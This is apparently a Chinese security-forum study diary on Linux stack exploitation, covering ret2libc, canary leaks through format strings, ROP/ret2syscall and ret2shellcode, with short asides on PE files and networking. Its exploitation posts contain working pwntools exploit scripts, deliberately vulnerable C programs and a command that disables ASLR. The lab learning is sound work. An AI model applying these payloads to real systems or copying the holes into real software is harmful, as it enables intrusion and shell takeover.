安全矩阵

 找回密码
 立即注册
搜索
楼主: wholesome

侯欣悦学习日记

[复制链接]

34

主题

120

帖子

559

积分

高级会员

Rank: 4

积分
559
 楼主| 发表于 2020-3-28 21:03:14 | 显示全部楼层
0x05 ret2libc技术与 attach调试
1、ret2libc技术
应该还记得前面我们介绍的几种保护机制吧!在之前的基础训练中,关闭了数据执行保护(NX)等程序保护措施,从而实现了简单的溢出攻击,但在实际应用中,为了避免攻击者的溢出攻击,提出了数据执行保护安全机制,使攻击者注入的shellcode无法执行。
在windows下,我们称数据执行保护机制为DEP,而在linux平台下,我们见到的是NX。那么什么是数据执行保护机制?
万物相生相克,有了这种保护机制,自然也有破解这种机制的技术,也就是今天的主角:ret2libc 即return-to-libc(返回到系统库函数执行)。
前面的示例中,我们溢出是通过自己编写的exploit函数里的system达到攻击目的。
其实,在系统函数中,也有一个system函数,它也是通过/bin/sh命令来实现shellcode的功能。如果我们将EIP改写成这个system函数的地址,并且找到/bin/sh这个参数进行压栈等操作,就能实现我们之前exploit函数的效果。自建的一个构思图:
其中我最难理解的就是这个这个system的参数与exit该怎么覆盖?我的理解是main函数执行后跳转到EIP,而EIP又是system函数地址的覆盖,然后就会跳转到系统函数的system函数地址,跳转后,此时的ESP就会指向exit,然后system函数执行就会需要一个参数:
“/bin/sh”,这个时候,下图的/bin/sh的地址被寄存器存储,然后执行system函数就会使用这个寄存器.......
(我是这么理解的,有点迷糊)
所以我们构造的payload
输入
  1. checksec 41.exe
复制代码
可以看到数据执行保护(NX)已经开启
然后输入
  1. gdb 41.exe
  2. cyclic 100
复制代码
  1. r
复制代码
  1. cyclic -l laaa
复制代码
确定出溢出位置,接下来使用相关的利用python脚本:
从上面的脚本中,我们可以看到现在我们只需要构造payload,即找出上面我们提到的system函数、参数的地址以及使被溢出的程序“默默退出”的exit函数地址(以免报错)。
1)使用exploit()函数
将0x08049172整合到脚本的payload里面:
  1. from pwn import *
  2. p=process('./41.exe')
  3. offset = 44
  4. payload ='a'*offset+p32(0x08049172)
  5. p.send(payload)
  6. p.interactive()
复制代码
保存运行:
  1. python 4fuzz.py
复制代码
Successful!
此方法只是简单利用已有exploit()函数
2)利用系统库函数里面system函数
  1. search system
复制代码
  1. search /bin/sh
复制代码
  1. search exit
复制代码
此外还可以:
不过不知道为什么/bin/sh为什么找不到。
在上述三个search中,选出任意对应的三个地址构造payload(当然有些地址可能不会成功),这里system使用0xf7e13660:
/bin/sh使用:
exit使用:
构造payload:
  1. payload ='a'*offset+p32(0xf7e13660)+p32(0xf7e096f0)+p32(0xf7f50f68)
复制代码
保存利用:
Failed!
为什么会报错?
原因是系统库函数的ALSR(地址随机化)没有关闭,而我们前面的NO PIE是针对41.exe这个小程序的。
然后这里有一个注意事项
使用ret2libc时,在最开始编译41.exe时,执行以下命令关闭系统函数随机化:
  1. echo 0 > /proc/sys/kernel/randomize_va_space
复制代码
然后输入
  1. python 4fuzz.py
复制代码
成功打开一个bash!
若使用0x804828b:
这就是不成功的例子:
参考文章:《使用ret2libc攻击方法绕过数据执行保护》---海枫
2、attach调试
在前面的实践中,我们都是在一个没有运行的进程上开始调试而使其运行。但是很多时候,如果进程已经跑起来了,不再适合用gdb来拉取新的进程,而期望用gdb附着到这个已经存在的进程;那么gdb的attach调试就能实现附着到一个已经在跑的进程上获取当前栈的所有变量值,从而进行实时观察进程。
前期工作(找出溢出位置,不再赘述)
接下来我们来看一个实现这个配置环境的python脚本:
  1. from pwn import *
  2. context(arch="i386",os="linux",log_level="debug")
  3. #context(arch="amd64",os="linux",log_level="debug")  //针对编译的程序是64位以及操作系统是linux(还是windows)
  4. p=process('./41.exe')        //开启进程
  5. print(proc.pidof(p))        //打出进程号
  6. offset = 44
  7. #payload ='a'*offset+p32(0x8049172)
  8. #payload ='a'*offset+p32(0xf7e16660)+p32(0xf7e096f0)+p32(0xf7f53f68)
  9. pause() //表示暂停,在发送payload之前暂停,从而我们就可以利用attach命令调试已经跑起来的进程
  10. p.send(payload)
  11. p.interactive()
复制代码
输入执行:
获得1891进程号。
这个时候,任意输入即可继续进行:
这就是attach的附着进程调试。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

34

主题

120

帖子

559

积分

高级会员

Rank: 4

积分
559
 楼主| 发表于 2020-3-29 22:31:20 | 显示全部楼层
本帖最后由 wholesome 于 2020-3-30 12:46 编辑

0x06 canary机制及绕过策略
前面我们已经初步了解了在数据不可执行的条件下,我们可以使用ret2libc调用system(‘/bin/sh’)。接下来我们进一步了解当程序开启栈保护后,我们又该怎么办?
我们知道,缓冲区溢出漏洞利用的关键处就是溢出时,覆盖栈上保存的函数返回地址来达到攻击效果。于是就有人提出了canary保护机制,该机制是在刚进入函数的时候,在栈底放一个标志位canary(又名金丝雀):
当缓冲区被溢出时,在返回地址被覆盖之前, canary会首先被覆盖。当函数结束时会检查这个栈上 canary的值是否和存进去的值一致,就可以判断程序是否发生了溢出等攻击,紧接着程序将执行___stack_chk_fail函数,继而终止程序。
(为了方式发生信息泄露以及其他漏洞的利用 canary使用\x00对值进行截断,即canary的最低字节为00)
因此,我们绕过这种保护机制的方法,就是怎样使前后的canary判断正确。
一般canary有两种利用方式
1.爆破canary
(大致了解了一下)

疑问:这个fork函数是什么?
2.如果程序存在字符串格式化溢出漏洞,我们就可以输出canary并利用溢出覆盖canary从而达到绕过。
这里我们讲解第二种方式。
不过在讲解之前,我们先来学习一下格式化字符串漏洞?
相信很多人都学过C语言吧!而C语言最普通的却必不可少的就是printf()函数了!也许大多数人以前几乎没有怎么关注过这个函数,那么今天就让它重新刷新我们的认知。
printf在C语言中一般是这种写法:
printf(“%d”,a); //输出数a的十进制格式
其中双引号里面是a的输出格式要求,常见的还有:
  1. %d - 十进制 - 输出十进制整数
  2. %s - 字符串 - 从内存中读取字符串
  3. %x - 十六进制 - 输出十六进制数
  4. %c - 字符 - 输出字符
  5. %p - 指针 - 指针地址
  6. %n - 到目前为止所写的字符数
复制代码
其中:
此外,我们更没有见过:
例:
%k$x表示访问第k个参数,并且把它以十六进制输出
%k$d表示访问第k个参数,并且把它以十进制输出
......
平时的程序是这样:
但是如果程序员一不小心这样写呢?
哈哈,似乎输出结果没什么区别!别急,因为你不知道的是:
实际上,printf允许参数的个数并不固定,其中上面双引号为第一个参数:格式化字符串,后面的参数在实际运行时将与格式化字符串中特定格式的子字符串进行一一对应,将格式化字符串中的特定子串,解析为相应的参数值。
此处我们只是单独地打印一个字符串hello_world,如果我们用户输入的是一个格式化字符format(如%s、%d、%k$x),那么printf就会读取栈上的“数据”,至于这个数据是什么?(我也不知道)请看后文:
再来:
此时:
main+15处,我们往上翻翻:
而接下来的操作就是一直n操作到将printf参数入栈:
即:
汇编源码主体是:
  1. 0x8049189 <main+39>    push   2
  2.    0x804918b <main+41>    push   1
  3.    0x804918d <main+43>    lea    edx, [eax - 0x1ff3]
  4.    0x8049193 <main+49>    push   edx
  5.    0x8049194 <main+50>    mov    ebx, eax
  6. ► 0x8049196 <main+52>    call   printf@plt <0x8049030>
复制代码
栈内容是:
  1. 00:0000│ esp   0xffffd260 —▸ 0x804a00d ◂— and    eax, 0x64252064 /* '%d %d %d %d %s' */
  2. 01:0004│      0xffffd264 ◂— 0x1
  3. 02:0008│      0xffffd268 ◂— 0x2
  4. 03:000c│      0xffffd26c ◂— 0x3
  5. 04:0010│      0xffffd270 ◂— 0x10
  6. 05:0014│      0xffffd274 —▸ 0x804a008 ◂— je     0x804a06f /* 'test' */
  7. 06:0018│      0xffffd278 —▸ 0xffffd33c —▸ 0xffffd4e9 ◂— 'SHELL=/bin/bash'
  8. 07:001c│      0xffffd27c —▸ 0x8049176 (main+20) ◂— add    eax, 0x2e8a
复制代码
这个时候我们又对源文件做一点改变:
重复以上步骤:
gcc -m32 -z execstack -fno-stack-protector -no-pie -o test test.c
输入r:
上述C语言程序中,我们只给了五个参数:1,2,3,0x10,test,但是我们给的格式字符串有7个。于是,printf函数按照格式打印了七个数据,但是多出来-11460以及134517110不是我们输入的,而是保存在栈中的另外两个数据。通过这个特性,就有了格式化字符串漏洞。
至此,格式化漏洞差不多讲明白了吧!
总之,记住一点:printf格式化字符串的利用能够帮助我们完成很多事情:栈泄露、内存泄露、任意地址的读写。当我们可以控制格式化字符串为任意我们想要的值,在不加限制的情况下我们便能为所欲为。
补充:vc6.0++可能不支持这样格式溢出,如:
但是在linux里面就是这种:
现在我们正式进入今天的主题:
待试验程序:
  1. #include<stdio.h>
  2. void exploit()
  3. {
  4.     system("/bin/sh");
  5. }
  6. void func()
  7. {
  8.     char str[16];
  9.     read(0, str, 64);
  10.     printf(str);
  11.     read(0, str, 64);
  12. }
  13. int main()
  14. {
  15.     func();
  16.     return 0;
  17. }
复制代码
  1. gcc -no-pie -fstack-protector  -m32 -o 5.exe 5.c
  2. checksec 5.exe
复制代码
  1. gdb 5.exe
  2. i b
  3. b func
  4. i b
  5. start
复制代码
然后一直输入n,直到遇见func函数:
往上翻:
再n:
看见上面重点没?这就是今天的一个关键!(gs是一个段寄存器)
红框的意思是,从gs寄存器中取出一个4字节(eax)的值存到栈上。
我们可以直接输入canary:
这个时候我第一眼观察的就是我们前面所提到的:
canary设计是以“x00”结尾,本意就是为了保证canary可以截断字符串。泄露栈中canary的思路是覆盖canary的低字节,来打印出剩余的canary部分。
堆栈中的canary:
继续n,直到read函数调用:
再次查看栈(这个时候栈显示不完整,输入stack 20):
此时该canary所在位置离栈顶esp的偏移量为0x2c:
即(4个字节一组)11组。这个11很重要!等会我们就要用printf函数输出这个位置的canary。
往上翻:
输入n:
此时程序运行要求我们输入
这个时候我们就用上面所学的冷门格式化字符串%11$8x(代表输出):
这个时候再n:
此时printf就把canary打印出来了!
(由于昨天时间问题,没有做完!今天继续做笔记。因为每次编译运行canary的值是随意分配的,所以以下canary的值在昨天同样的操作步骤下,已经变了,不过!不影响!)
当函数结束时会检查这个栈上的值是否和存进去的值一致。
这个时候我们继续n,就会遇到第2个read函数,要求我们输入:
(看了这么久,估计源程序已经忘了!)
即:
经过上面的分析,我们已经知道第一个read函数的设置是为了打印出金丝雀的值,那么第二个read函数呢?
第二个函数就是我们精心构造的payload了!此时的payload就要保证在溢出攻击getshell的同时,就需要利用我们已经得到的canary值了!那么怎么利用已经得到的canary的值来得到payload呢?
这时我们可以使用python脚本进行第一次输入泄露canary后,在进行第二次输入的时候,在payload中将canary的位置填充成刚刚泄露出来的值即可。
找出exploit函数的入口地址!同样作为payload的一部分来getshell:
脚本python:
  1. from pwn import *
  2. p=process("./5.exe")
  3. p.sendline("%11$08x")
  4. canary=p.recv()[:8]
  5. print(canary)

  6. canary=canary.decode("hex")[::-1]

  7. coffset=4*4
  8. roffset=3*4
  9. raddr=p32(0x8049192)
  10. payload=coffset*'a'+canary+roffset*'a'+raddr
  11. p.sendline(payload)
  12. p.interactive()
复制代码
嗯!这段payload构造理解起来是本篇最困难的地方......
先运行一下能否成功吧:
重新运行,我们可以看见canary的值又变了:a03dd300,符合栈保护的气质!并且成功getshell!
那么我就根据payload来倒推怎么溢出?
回到刚刚我们的第二个read函数输入的地方:
连个椭圆形代表的就是:
coffset=4*4
roffset=3*4
至此!payload构造成功!

参考链接:
https://www.jianshu.com/p/3d390a321cb8
https://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/
https://bbs.pediy.com/thread-253638.htm
https://www.cnblogs.com/elvirangel/p/7191512.html
https://bbs.pediy.com/thread-250858.htm
https://www.anquanke.com/post/id/177832

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

34

主题

120

帖子

559

积分

高级会员

Rank: 4

积分
559
 楼主| 发表于 2020-3-30 23:30:34 | 显示全部楼层
本帖最后由 wholesome 于 2020-4-1 21:26 编辑

0x07 ropgadgets与ret2syscall技术原理
技术开始之前,先贴出几个专业名词:
什么是rop?全称:Return Oriented Programming,其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
什么是gadgets?gadgets是指在程序中的指令片段,有时我们为了达到我们执行命令的目的,需要多个gadget来完成我们的功能。gadget最后一般都有ret,因为我们需要将程序控制权(EIP)给下一个gadget。
即让程序自动持续的选择堆栈中的指令依次执行。
于是就有了ropgadgets,该ropgadgets是一个pwntools的一个命令行工具,用来具体寻找gadgets的。
什么是ret2syscall?即控制程序执行系统调用,获取 shell,在linux系统中,函数的调用是有一个系统调用号的。具体的系统调用号可以参考以下链接:
https://blog.csdn.net/qq_29343201/article/details/52209588
而我们今天的主角就是调用execve("/bin/sh",null,null)函数来getshell,该函数的系统调用号是11,即十六进制0xb:
那么系统调用的原理是什么呢?
(这是一段高大上的文字!迷迷糊糊懂其中一部分!)
注意:int 0x80调用只用于32位系统,在64位系统不起作用。
那么,在这次执行execve("/bin/sh",null,null)中,我们应首先明确该函数的调用过程:
  1. 系统调用号,即 eax 应该为 0xb
  2. 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  3. 第二个参数,即 ecx 应该为 0
  4. 第三个参数,即 edx 应该为 0
复制代码
即:只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们再执行 int 0x80 就可执行对应的系统调用。
那么问题来了,我们该怎么控制这些寄存器的值?
该问题是此次文章ret2syscall技术的核心思想。在我们最开始学习汇编函数的时候,我们最常用到的就是push,pop,ret了!而这一次我们将使用pop和ret的组合来控制寄存器的值以及执行方向。
举个栗子来说,在一个栈上,假设栈顶的值为2,当我们pop eax,时,2就会存进eax寄存器。
同样的,我们可以用同样的方法完成execve()函数参数的控制,如下:
  1. pop eax# 系统调用号载入, execve为0xb
  2. pop ebx# 第一个参数, /bin/sh的string
  3. pop ecx# 第二个参数,0
  4. pop edx# 第三个参数,0
复制代码
寄存器的值可以控制了,此时我们还得想到怎样让这一连串的pop命令顺序连接执行,这就要使用 gadgets 最后使用的ret 了,进而控制程序执行流程。
(大致原理应该是这样)
接下来,跟着我左手右手一个慢动作去拼凑这些内容,我们没法直接在栈里写指令,只能够利用程序中自带的指令去拼凑。这个时候就要用到ropgadgets工具来寻找gadgets了:
待实验程序:
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <sys/types.h>
  4. #include <unistd.h>
  5. #include <sys/syscall.h>
  6. void exploit()
  7. {
  8.     system("/bin/sh");
  9. }
  10. void func()
  11. {
  12. char str[0x20];
  13. read(0,str,0x50);
  14. }
  15. int main()
  16. {
  17. func();
  18. return 0;
  19. }
复制代码
编译c文件::
  1. gcc -no-pie -fno-stack-protector -static -m32 -o 7exe 7.c
复制代码
其中有一个之前我们没有用到的static参数,该参数代表的意思是使用静态编译,这样指令流序列才能找到。
44即为溢出位置。
现在我们就要构造payload,根据前面的系统调用,我们构造的payload为:
ROPgadgets工具使用
输入:
  1. ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"
复制代码
  1. ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"
复制代码
  1. ROPgadget --binary ./7.exe --string "/bin/sh"
复制代码
  1. ROPgadget --binary ./7.exe --only "int"|grep "0x80"
复制代码
  1. from pwn import *
  2. context(arch="i386",os="linux")
  3. p=process('./7.exe')
  4. offset = 44
  5. add_eax=p32(0x080aaa06)
  6. value_eax=p32(0xb)
  7. add_edx_ecx_ebx=p32(0x0806f711)
  8. value_ebx=p32(0x080ae008)
  9. value_ecx=p32(0)
  10. value_edx=p32(0)
  11. add_int=p32(0x0804a3d2)
  12. payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
  13. pid=proc.pidof(p)
  14. print pid
  15. pause()
  16. p.sendline(payload)
  17. p.interactive()
复制代码
Getshell!

参考:
https://blog.51cto.com/11797152/2379740?source=dra
https://www.cnblogs.com/bhxdn/p/12489812.html
https://blog.csdn.net/qq_33948522/article/details/93880812
https://blog.csdn.net/luozhaotian/article/details/79610175
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/#3

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

34

主题

120

帖子

559

积分

高级会员

Rank: 4

积分
559
 楼主| 发表于 2020-4-1 23:15:36 | 显示全部楼层
今天把ret2syscall给收尾了,现在就补充一点平时经常听到的,却不怎么了解的!
二进制文件概述
一、PE文件格式
PE文件的全称是Portable Executable,意为可移植的可执行的文件,使用该格式的目的是使链接生成的文件能在不同的CPU工作指令下工作。常见的exe、dll就是PE文件。了解PE文件格式有助于加深对操作系统的理解,掌握可执行文件的数据结构机器运行机制,对于逆向破解,加壳等安全方面极其重要。
一个PE文件格式规定了该文件的二进制代码以及其他信息在可执行文件中如何组织,按照这种通用标准,在程序被执行时,操作系统才会按照PE文件约定的格式去相应的地方准确定位各种类型的资源,并分别装入内存的不同区域。
PE文件格式可执行文件分成若干个节------数据节,不同的资源被存放在不同的节中。
二、虚拟内存
Windows 的内存可以被分为两个层面:物理内存虚拟内存。平时我们在用户模式下,用调试器看到的内存地址都是虚拟内存。那么什么是虚拟内存呢?
百度百科这样解释:
虚拟内存计算机系统内存管理的一种技术。它使得应用程序认为它拥有连续的可用的内存(一个连续完整的地址空间),而实际上,它通常是被分隔成多个物理内存碎片,还有部分暂时存储在外部磁盘存储器上,在需要时进行数据交换。目前,大多数操作系统都使用了虚拟内存,如Windows家族的“虚拟内存”;Linux的“交换空间”等。
三、PE 文件与虚拟内存之间的映射
1、我们平常使用静态反汇编工具查看 PE 文件时,文件中的某条指令的位置是相对于磁盘文件而言的,即文件偏移,而不是这条指令在内存中所处的位置,即虚拟内存地址(VA)。
2、前面的基础汇编,我们经常使用VC++对PE文件进行调试时,看到的某条指令的地址是虚拟内存地址
(1)文件偏移地址 (File Offset)
数据在 PE 文件中的地址叫文件偏移地址,即在磁盘上存放时相对于文件开头的偏移
(2)装载基址 (Image Base)
PE 装入内存时的基地址。默认情况下,exe 文件在内存中的基地址是 0x00400000,dll文件是 0x10000000。这些位置可以通过修改编译选项更改。
(3)虚拟内存地址(Virtual Address,VA)
PE 文件中的指令被装入内存后的地址。
(4)相对虚拟地址(Relative Virtual Address,RVA)
相对虚拟地址是虚拟内存地址相对于装载基址的偏移量。
(第(4)点理解起来有点苦,多读了好几遍才明白:文件偏移是相对于文件开始处 0 字节的偏移,RVA(相对虚拟地址)则是相对于装载基址0x00400000 处的偏移。)
那么,虚拟内存地址、装载基址、相对虚拟内存地址三者之间有如下关系:VA= Image Base+ RVA
参考:
https://baike.baidu.com/item/pe%E6%96%87%E4%BB%B6/6488140?fr=aladdin
https://www.cnblogs.com/2f28/p/9800992.html
https://www.cnblogs.com/Bachelor/archive/2013/07/24/3210748.html
https://baike.baidu.com/item/%E8%99%9A%E6%8B%9F%E5%86%85%E5%AD%98/101812?fr=aladdin
《0day安全》

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

34

主题

120

帖子

559

积分

高级会员

Rank: 4

积分
559
 楼主| 发表于 2020-4-7 18:31:35 | 显示全部楼层
本帖最后由 wholesome 于 2020-4-7 18:43 编辑

0x08 ret2shellcode
ret2shellcode在之前学习Windows汇编的时候接触过一些。简单来说,就是return to shellcode。前面的ret2libc等都是利用系统的一些函数来获取目标系统的shell,有时候我们想要定制shellcode的功能,我们就可以自己制作可以完成某个功能的汇编代码,再将其溢出利用!在我前面的笔记中,就有windows下利用vc++编写的shellcode。不过今天讨论的shellcode是在linux上。为什么要强调linux呢?因为这两种平台上的shellcode编写是不一样的。
注意:我们的shellcode必须放在一个可读可写可执行的缓冲区上,这样我们才能利用成功!
那么怎么构造shellcode呢?我们可以使用pwntools,pwntools是一个用python编写的CTF pwn题exploit编写工具,目的是为了帮助使用者更高效便捷地编写exploit。
输入
  1. python
  2. from pwn import *
  3. shellcraft.sh()
  4. asm(shellcraft.sh())
复制代码
上面的机器码就是使用工具所显现的shellcode;当然,我们也可以自己手写调用evecve("/bin/sh",null,null);函数。
接下来,我们将待实验程序准备好:
  1. #include <stdio.h>
  2. #include <string.h>
  3. char str1[0x40];
  4. void func()
  5. {
  6. char str[0x40];
  7. read(0,str,0x60);
  8. strcpy(str1,str);
  9. }
  10. int main()
  11. {
  12. func();
  13. return 0;
  14. }
复制代码
先解释一下这个程序吧!在这个程序里,我们能看见两个数组:str与str1。其中str1这个数组不随栈帧变化而释放,也就是说,在程序运行期间,它一直存在在某个固定地址,当然每次加载的地址也许不一样。显而易见,我们第一次可控输入shellcode,可将str溢出,再将shellcode拷贝给str1。有效利用的话,两个数组都可溢出......
输入
  1. gcc -no-pie -fno-stack-protector -z execstack -m32 -o 6.exe 6.c
  2. gdb 6.exe
  3. start
  4. b func
  5. r
复制代码
上面的命令应该都熟悉了!就不加解释了!
现在我们来获取溢出位置:
  1. cyclic 100
复制代码
使用c:
  1. cyclic -l taaa
复制代码
接下来,就是payload构造了。
  1. from pwn import *
  2. context(arch="i386",os="linux")
  3. p=process('./6.exe')
  4. offset = 76
  5. shellcode=asm(shellcraft.sh())
  6. payload =shellcode.ljust(offset,'\x90')+p32(shellcode_addr)
  7. pid=proc.pidof(p)
  8. print pid
  9. pause()
  10. p.sendline(payload)
  11. p.interactive()
复制代码
不过,在本文最开始我们就提出了有两个溢出位置,但是两个溢出位置真的能利用成功吗,恐怕这里要打上一个大大的问号?
第一次:首先我们假如是将payload中的shellcode地址写为str数组首地址,继续n:
根据C语言源代码和压栈操作,我们知道eax此时就是str的地址。
验证:
只不过这里程序最开始运行,我们还没有输入任何东西,所以该地址0xffffd220的内容为0。
当我们输入n命令后,再随便尝试输入点什么:
再看:
内容已经发生了变化。
继续n:
在这里你能看见什么?
我们可以看见在调用strcpy函数的时候,上面的read函数并没有ret,而是直接进入strcpy函数,也就是说,我们溢出的点在并不能在str里面进行。所以我们该把溢出位置改为str1数组。
当然我们可以试一试运行一下python脚本,其中的一句话改为:
  1. payload =shellcode.ljust(offset,'\x90')+p32(0xffffd220)
复制代码
执行python 6.py:
可以看到getshell失败。那我们改为str1的地址试试:
str1的地址为0x804c040
保存执行:
看见没!这下有我们想要的结果了吧!
除了以上将shellcode放在数组里面,我们也可以利用jmp esp来构造我们payload了!当我还在windows平台下写shellcode的时候,我就试过jmp esp。它的原理是,当我们函数调用完之后,无论eip地址的值覆没覆盖,我们都要跳转到eip那里,然后再跳转到eip所指向的地址,这个时候我们就得把焦点聚集在esp上,这个时候的esp总是指向刚刚eip地址的下一位,如果我们构造payload时,将shellcode刚好放在eip地址的下一位这个位置上,再将eip填充为jmp esp指令,岂不是刚好跳转执行我们的程序。并且还挺完美的!哈哈哈哈
待试验程序:
由于shellcode执行区域是可读可写可执行,所以我们编译的时候关闭所有保护机制:
  1. gcc -no-pie -fno-stack-protector -z execstack -static -m32 -o 8.exe 8.c
复制代码
我们使用的shellcode还是使用系统生成的。另开窗口,查找系统存在的jmp esp的gadget:
  1. ROPgadget --binary ./8.exe --only "jmp"|grep "esp"
复制代码
刚好有一个0x080511bd,Wonderful!
接下来,常规做法,输入start:
可以看见我们的func函数在这儿呢!确定溢出位置:
  1. cyclic 100
复制代码
  1. cyclic -l taaa
复制代码
最后激动人心的时刻,构造python脚本,执行:
哈哈哈哈!从上图我们可以看见shellcode长度为44,进程号为3426!
一切水到渠成!
参考链接:
  1. https://www.jianshu.com/p/91cafba6d2d7
  2. https://www.freebuf.com/vuls/179724.html
复制代码

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

34

主题

120

帖子

559

积分

高级会员

Rank: 4

积分
559
 楼主| 发表于 2020-4-8 22:37:55 | 显示全部楼层
本帖最后由 wholesome 于 2020-4-8 22:41 编辑

今天看了点不一样的,感觉反正是记不住,(一个字一个字打出来的)但是还是记上来吧!
0x01 网络、互联网和因特网
网络:有若干结点和连接这些结点的链路组成
互联网:多个网络还可以通过路由器互连起来,这样就构成了一个覆盖范围更大的网络。因此,互联网是“网络的网络”。
因特网:是世界上最大的互联网络
0x02 电路交换、分组交换、报文交换

1、电路交换:电话交换机接通电话线的方式
  • 建立连接(分配通信资源)
  • 通话(一直占用资源)
  • 释放连接(归还通信资源)
当采用电路交换来传送计算机数据时,其线路的传输效率往往很低
(1)优点:
一,通信时延小。这是因为通讯线路为通信双方用户专用数据直达,因此通信时延很小,当连续传输大量数据时,这一优点非常明显。
第二,有序传输这是因为通讯双方之间只有一条专用的通信线路,数据只在这一条线路上传送,因此不存在失序问题。
第三,没有冲突。不同的通信双方拥有不同的信道不会出现征用物理信道问题。
第四,适用范围广。电路交换机适用于传输模拟信号,也适用于传输数字信号
第五,实用性强。这主要得益于其通信时延小的优点。
第六,控制简单。电路交换的结点交换机及其控制都比较简单。
(2)缺点:
第一,建立连接时间长。电路交换的平均连接建立时间对计算机通信来说太长。
第二,线路独占使用效率低。电路交换一旦建立连接物理通路就会通信双方独占,即使通信线路空闲,也不能供其他用户使用,因而信道利用率很低
第三,灵活性差。只要连接所建立的物理通路中的任何一点出现了故障,就必须重新拨号建立新的连接,这对十分紧急和重要的通讯是很不利的。
第四,难以规格化。电路交换时数据直达,不同类型、不同规格、不同速率的终端很难相互进行通信,也难以在通讯过程中进行差错控制。

2、报文交换
(1)优点:
第一,无需建立连接。报文交换不需要为通信双方预先建立一条专用的通讯线路,不存在建立连接的时延,用户可以随时发送报文
第二,动态分配线路。当发送方把报文传送给结点交换机时,结点交换机先存储整个报文,然后选择一条合适的空闲线路,将报文发送出去。
第三,提高线路可靠性。如果某条传输路径发生故障,会重新选择另一条路径传输路径,因此提高了传输的可靠性。
第四,提高线路的利用率。通信双方不是固定占用一条通信线路,而是在不同的时间分段部分占用物理线路,因而大大提高了通信线路的利用率。
第五,提供多目标服务。一个报文可以同时发送给多个目的地址,这在电路交换中很难实现。
(2)缺点:
第一,引起了转发时延。这是因为报文在结点交换机上要经历存储转发的过程
第二,需要较大的存储缓存空间。这是因为报文交换对报文的大小没有限制。
第三,需要传输额外的信息量。这是因为报文需要携带目标地址,原地址等信息。

3、分组交换
(1)优点:
第一,无需建立连接。分组交换不需要为通信双方预先建立一条专用的通信线路,不存在建立人家的时延,用户可以随时发送分组。
第二,线路利用率高。通讯双方不是固定占用一条线路,而是在不同的时间分段部分占用物理线路,因而大大提高了通信线路的利用率。
第三,简化了存储管理。这是相对于报文交换而言的,因为分组的长度固定,相应的缓冲区的大小也固定,管理起来相对容易。
第四,加速传输。由于分组是逐个传输的,这就使得后一个分组的存储操作,与前一个分组的转发操作可以同时进行。
第五,减少出错概率和重发数据量。因为分组比报文小,因此知错概率必然减小,即便分组出错,也只需重传出错的分组,这比重传整个报文的数据量小很多,这样不仅提高了可靠性,也减少了传输时延。
(2)缺点:
第一,引起了转发时延。这是因为报文在结点交换机上要经历存储转发的过程
第二,需要传输额外的信息量。将原始报文分割成等长的数据块,每个数据块都要加上原地址、目的地址等控制信息,从而构成分组,因此使得传送的信息量增大了。
第三,当分组交换采用数据报服务时,可能会出现失序、丢失、或重复分组,分组到达目的节点时,需要重新还原成原始报文,比较麻烦。若分组交换采用虚电路服务,虽然没有分组失序问题,但有呼叫建立、数据传输和虚电路释放三个过程。(虚电路服务好像学过,但是忘了)
参考:计算机网络

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

34

主题

120

帖子

559

积分

高级会员

Rank: 4

积分
559
 楼主| 发表于 2020-4-9 22:53:40 | 显示全部楼层
本帖最后由 wholesome 于 2020-4-10 22:50 编辑

0x09 ret2libc过地址随机化
回顾前面我们已经学过的:
  1. 0x01 缓冲区溢出攻击保护机制
  2. 0x02 常用gdb调试命令
  3. 0x03 溢出点位置定位
  4. 0x04 64位程序调试的关键
  5. 0x05 ret2libc技术与 attach调试
  6. 0x06 canary机制及绕过策略
  7. 0x07 ropgadgets与ret2syscall技术原理
  8. 0x08 ret2shellcode
复制代码
(感觉差不多细节已经忘了,看来要及时复习!)
在之前第0x05中,我们已经使用ret2libc攻击方法绕过数据执行保护,不知你是否还记得当时我们的程序在最开始编译的时候只开启了数据不可执行后,就直接开始溢出,结果,最后发现没有溢出成功,原因是没有关闭系统地址随机化,请看我的原文:
而今天我们要讲的是如果我们就是坚决地开启系统函数随机化,那又该怎么做呢?
先来几个名词解释吧!
什么是ELF文件?百度百科这样解释:在计算机科学中,是一种用于二进制文件、可执行文件、目标代码、共享库和核心转储格式文件。
感觉一个词一个词拆分理解还勉强过得去,连接起来就,,,,,
其实,在我们在linux的gcc使用C语言源文件的二进制文件时,经过预处理,编译,汇编,链接过程后,就会生成一个ELF格式的可以执行的文件。即通过gcc hello.c -o hello即可生成一个文件名为hello的可执行文件,该程序会输出Hello World。此外:ELF文件主要 用于linux平台。windows下是PE/COFF格式。
什么是PLT?什么又是GOT?之所以将它俩一起提出来,在于它们与动态库的动态链接过程息息相关。为什么说PLT与GOT是调用动态库函数的重要过程呢?(由于是初学者,我发现这个知识点会越引越远)就只简单引入几点:
(1)PLT表中的数据不是函数的真实地址,即带有@plt标志的函数,起个过渡作用
(2)GOT表项中的数据才是函数最终的地址,而PLT表中的数据又是GOT表项的地址,我们就可以通过PLT表跳转到GOT表来得到函数真正的地址。
(3)地址随机化并没有对PLT表、GOT表产生作用。
在本次实验中,我就不先给出源代码。毕竟在实际生活中,我们遇到的通常都是不知道源代码的,这个时候我们就只能看这个程序的汇编来找溢出点。当然我们也可以使用IDA工具来根据汇编还原出源代码,只不过,并不是所有的程序都能还原出。(哪有这么好的事情!)
